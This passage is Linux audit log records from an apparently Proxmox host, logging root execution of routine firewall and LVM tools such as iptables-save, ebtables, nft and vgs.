{"@timestamp":1781964915424,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964915.424:63204): arch=c000003e syscall=59 success=yes exit=0 a0=63160b520ac8 a1=7fff7ba44010 a2=63162eda7680 a3=63160b50424e items=2 ppid=60643 pid=60645 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966304474,"@rawstring":"node=pve type=PATH msg=audit(1781966304.474:69240): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965624792,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965624.792:66393): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964915423,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964915.423:63203): arch=c000003e syscall=59 success=yes exit=0 a0=7fff7ba43fd0 a1=63162edc91c0 a2=63162eda7680 a3=5 items=2 ppid=60643 pid=60644 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966304474,"@rawstring":"node=pve type=PATH msg=audit(1781966304.474:69240): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965623715,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965623.715:66392): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964915419,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964915.419:63201): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60643 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966304442,"@rawstring":"node=pve type=PATH msg=audit(1781966304.442:69239): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965623715,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965623.715:66391): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964915413,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964915.413:63200): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60642 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966304442,"@rawstring":"node=pve type=PATH msg=audit(1781966304.442:69239): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965623715,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965623.715:66390): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964915407,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964915.407:63199): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60641 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966301127,"@rawstring":"node=pve type=PATH msg=audit(1781966301.127:69238): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965623706,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965623.706:66389): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964915401,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964915.401:63198): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60640 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966301127,"@rawstring":"node=pve type=PATH msg=audit(1781966301.127:69238): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965623706,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965623.706:66388): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964915394,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964915.394:63197): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60639 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966301127,"@rawstring":"node=pve type=PATH msg=audit(1781966301.127:69237): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965623706,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965623.706:66387): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964915390,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964915.390:63196): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=600f99dc1740 items=0 ppid=1156 pid=60638 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966301127,"@rawstring":"node=pve type=PATH msg=audit(1781966301.127:69236): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965618698,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965618.698:66386): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964915388,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964915.388:63195): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc13b8a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60638 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966301117,"@rawstring":"node=pve type=PATH msg=audit(1781966301.117:69235): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965618698,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965618.698:66385): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964915383,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964915.383:63194): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ea850 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60637 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966301117,"@rawstring":"node=pve type=PATH msg=audit(1781966301.117:69235): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965618697,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965618.697:66384): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964915378,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964915.378:63193): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc134f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60636 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966301117,"@rawstring":"node=pve type=PATH msg=audit(1781966301.117:69234): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965618690,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965618.690:66383): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964915372,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964915.372:63192): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e2c40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60635 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966301117,"@rawstring":"node=pve type=PATH msg=audit(1781966301.117:69233): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965618690,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965618.690:66382): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964915367,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964915.367:63191): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc134f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60634 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966296108,"@rawstring":"node=pve type=PATH msg=audit(1781966296.108:69232): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965618690,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965618.690:66381): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964915362,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964915.362:63190): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ac9a60 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60633 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966296108,"@rawstring":"node=pve type=PATH msg=audit(1781966296.108:69232): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965615553,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965615.553:66380): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964915355,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964915.355:63189): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60632 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966296108,"@rawstring":"node=pve type=PATH msg=audit(1781966296.108:69231): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965615548,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965615.548:66379): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964915348,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964915.348:63188): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60631 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966296108,"@rawstring":"node=pve type=PATH msg=audit(1781966296.108:69230): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965615547,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965615.547:66378): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964915344,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964915.344:63187): arch=c000003e syscall=59 success=yes exit=0 a0=59ca507cab60 a1=59ca507d6e80 a2=59ca507a4680 a3=5 items=2 ppid=60624 pid=60630 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966296094,"@rawstring":"node=pve type=PATH msg=audit(1781966296.094:69229): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965615546,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965615.546:66377): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964915341,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964915.341:63186): arch=c000003e syscall=59 success=yes exit=0 a0=59ca4dcd8ac8 a1=7ffcee682b90 a2=59ca507a4680 a3=59ca4dcbc24e items=2 ppid=60624 pid=60626 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966296094,"@rawstring":"node=pve type=PATH msg=audit(1781966296.094:69229): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965615540,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965615.540:66376): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964915340,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964915.340:63185): arch=c000003e syscall=59 success=yes exit=0 a0=7ffcee682b50 a1=59ca507c6200 a2=59ca507a4680 a3=5 items=2 ppid=60624 pid=60625 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966296094,"@rawstring":"node=pve type=PATH msg=audit(1781966296.094:69228): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965615530,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965615.530:66375): proctitle=\"ip6tables-save\""} {"@timestamp":1781964915336,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964915.336:63183): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60624 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966296094,"@rawstring":"node=pve type=PATH msg=audit(1781966296.094:69227): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965615520,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965615.520:66374): proctitle=\"iptables-save\""} {"@timestamp":1781964915330,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964915.330:63182): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60623 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966295741,"@rawstring":"node=pve type=PATH msg=audit(1781966295.741:69225): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965615512,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965615.512:66373): proctitle=\"ip6tables-save\""} {"@timestamp":1781964915323,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964915.323:63181): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60622 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966295741,"@rawstring":"node=pve type=PATH msg=audit(1781966295.741:69225): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965615501,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965615.501:66372): proctitle=\"iptables-save\""} {"@timestamp":1781964915318,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964915.318:63180): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e67b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60621 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966295737,"@rawstring":"node=pve type=PATH msg=audit(1781966295.737:69224): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965615496,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965615.496:66371): proctitle=\"ebtables-restore\""} {"@timestamp":1781964915311,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964915.311:63179): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc134b10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60620 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966295737,"@rawstring":"node=pve type=PATH msg=audit(1781966295.737:69224): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965615492,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965615.492:66370): proctitle=\"ebtables-restore\""} {"@timestamp":1781964915305,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964915.305:63178): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc148d40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60619 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966295734,"@rawstring":"node=pve type=PATH msg=audit(1781966295.734:69223): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965615484,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965615.484:66369): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964914165,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964914.165:63177): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73b1160 a1=64f8d73df230 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60618 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966295734,"@rawstring":"node=pve type=PATH msg=audit(1781966295.734:69223): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965615476,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965615.476:66368): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964914132,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964914.132:63176): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73c6900 a1=64f8d73e0910 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60617 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966295734,"@rawstring":"node=pve type=PATH msg=audit(1781966295.734:69222): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965615469,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965615.469:66367): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964911096,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964911.096:63175): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60614 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966295734,"@rawstring":"node=pve type=PATH msg=audit(1781966295.734:69222): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965615462,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965615.462:66366): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964911088,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964911.088:63172): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60613 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966295733,"@rawstring":"node=pve type=PATH msg=audit(1781966295.733:69221): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965615452,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965615.452:66365): proctitle=697073657400726573746F7265"} {"@timestamp":1781964906078,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964906.078:63169): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60612 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966295729,"@rawstring":"node=pve type=PATH msg=audit(1781966295.729:69220): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965615441,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965615.441:66364): proctitle=\"ip6tables-save\""} {"@timestamp":1781964906071,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964906.071:63166): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60611 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966295729,"@rawstring":"node=pve type=PATH msg=audit(1781966295.729:69220): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL 